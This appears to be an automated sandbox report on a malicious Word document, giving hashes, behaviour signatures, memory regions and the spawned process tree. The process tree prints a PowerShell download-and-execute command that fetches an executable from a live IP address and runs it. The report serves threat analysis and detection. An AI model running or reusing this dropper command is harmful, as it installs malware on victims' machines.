Analysis

  • max time kernel
    106s
  • max time network
    127s
  • platform
    windows7_x64
  • resource
    win7-20221111-en
  • resource tags

    arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system
  • submitted
    25-11-2022 21:40

General

  • Target

    60ad4099e56ed5a8fddb63395b0e0032726b5aaf47a71d590dddf147b433a976.doc

  • Size

    41KB

  • MD5

    ac5e2c5bf3ba98b1d0fab9b762dc18b5

  • SHA1

    d4b5de6534f3bc78d69c551394cf93d2ae99c8f4

  • SHA256

    60ad4099e56ed5a8fddb63395b0e0032726b5aaf47a71d590dddf147b433a976

  • SHA512

    018c0eaada7b987ca3c5f0afbf8e2ba54ebc28c0e71da6ebb36e7c7272b1d5d1380b0b77d2868ef7ba66aeb24a25dc6865614cbad3accedd39abf16bdcb4a51e

  • SSDEEP

    384:uvc2AjFPbVOJ3J9isMjWCGSWba/JVZ0jLYAxmtV:8OTu3XaXW2dEYAO

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://185.48.56.62:8080/hhacz45a/mnnmz.php

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\60ad4099e56ed5a8fddb63395b0e0032726b5aaf47a71d590dddf147b433a976.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1272
    • C:\Windows\SysWOW64\cmd.exe
      cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://185.48.56.62:8080/hhacz45a/mnnmz.php','%TEMP%\pJIOfdfs.exe');Start-Process '%TEMP%\pJIOfdfs.exe';
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:1704
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://185.48.56.62:8080/hhacz45a/mnnmz.php','C:\Users\Admin\AppData\Local\Temp\pJIOfdfs.exe');Start-Process 'C:\Users\Admin\AppData\Local\Temp\pJIOfdfs.exe';
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1560
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1168

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/1168-88-0x0000000000000000-mapping.dmp
    • memory/1168-89-0x000007FEFC2E1000-0x000007FEFC2E3000-memory.dmp
      Filesize

      8KB

    • memory/1272-73-0x0000000000455000-0x0000000000459000-memory.dmp
      Filesize

      16KB

    • memory/1272-92-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/1272-58-0x000000007183D000-0x0000000071848000-memory.dmp
      Filesize

      44KB

    • memory/1272-74-0x0000000000455000-0x0000000000459000-memory.dmp
      Filesize

      16KB

    • memory/1272-60-0x0000000000455000-0x0000000000459000-memory.dmp
      Filesize

      16KB

    • memory/1272-61-0x0000000000455000-0x0000000000459000-memory.dmp
      Filesize

      16KB

    • memory/1272-62-0x0000000000455000-0x0000000000459000-memory.dmp
      Filesize

      16KB

    • memory/1272-63-0x0000000000455000-0x0000000000459000-memory.dmp
      Filesize

      16KB

    • memory/1272-64-0x0000000000455000-0x0000000000459000-memory.dmp
      Filesize

      16KB

    • memory/1272-65-0x0000000000455000-0x0000000000459000-memory.dmp
      Filesize

      16KB

    • memory/1272-66-0x0000000000455000-0x0000000000459000-memory.dmp
      Filesize

      16KB

    • memory/1272-67-0x0000000000455000-0x0000000000459000-memory.dmp
      Filesize

      16KB

    • memory/1272-68-0x0000000000455000-0x0000000000459000-memory.dmp
      Filesize

      16KB

    • memory/1272-69-0x0000000000455000-0x0000000000459000-memory.dmp
      Filesize

      16KB

    • memory/1272-70-0x0000000000455000-0x0000000000459000-memory.dmp
      Filesize

      16KB

    • memory/1272-71-0x0000000000455000-0x0000000000459000-memory.dmp
      Filesize

      16KB

    • memory/1272-54-0x0000000072DD1000-0x0000000072DD4000-memory.dmp
      Filesize

      12KB

    • memory/1272-72-0x0000000000455000-0x0000000000459000-memory.dmp
      Filesize

      16KB

    • memory/1272-59-0x0000000000455000-0x0000000000459000-memory.dmp
      Filesize

      16KB

    • memory/1272-57-0x0000000075C41000-0x0000000075C43000-memory.dmp
      Filesize

      8KB

    • memory/1272-77-0x0000000000455000-0x0000000000459000-memory.dmp
      Filesize

      16KB

    • memory/1272-76-0x0000000000455000-0x0000000000459000-memory.dmp
      Filesize

      16KB

    • memory/1272-78-0x0000000000455000-0x0000000000459000-memory.dmp
      Filesize

      16KB

    • memory/1272-79-0x0000000000455000-0x0000000000459000-memory.dmp
      Filesize

      16KB

    • memory/1272-80-0x0000000000455000-0x0000000000459000-memory.dmp
      Filesize

      16KB

    • memory/1272-81-0x0000000000455000-0x0000000000459000-memory.dmp
      Filesize

      16KB

    • memory/1272-83-0x0000000000455000-0x0000000000459000-memory.dmp
      Filesize

      16KB

    • memory/1272-82-0x0000000000455000-0x0000000000459000-memory.dmp
      Filesize

      16KB

    • memory/1272-93-0x000000007183D000-0x0000000071848000-memory.dmp
      Filesize

      44KB

    • memory/1272-75-0x0000000000455000-0x0000000000459000-memory.dmp
      Filesize

      16KB

    • memory/1272-55-0x0000000070851000-0x0000000070853000-memory.dmp
      Filesize

      8KB

    • memory/1272-56-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/1560-87-0x000000006B1C0000-0x000000006B76B000-memory.dmp
      Filesize

      5.7MB

    • memory/1560-90-0x000000006B1C0000-0x000000006B76B000-memory.dmp
      Filesize

      5.7MB

    • memory/1560-91-0x000000006B1C0000-0x000000006B76B000-memory.dmp
      Filesize

      5.7MB

    • memory/1560-85-0x0000000000000000-mapping.dmp
    • memory/1704-84-0x0000000000000000-mapping.dmp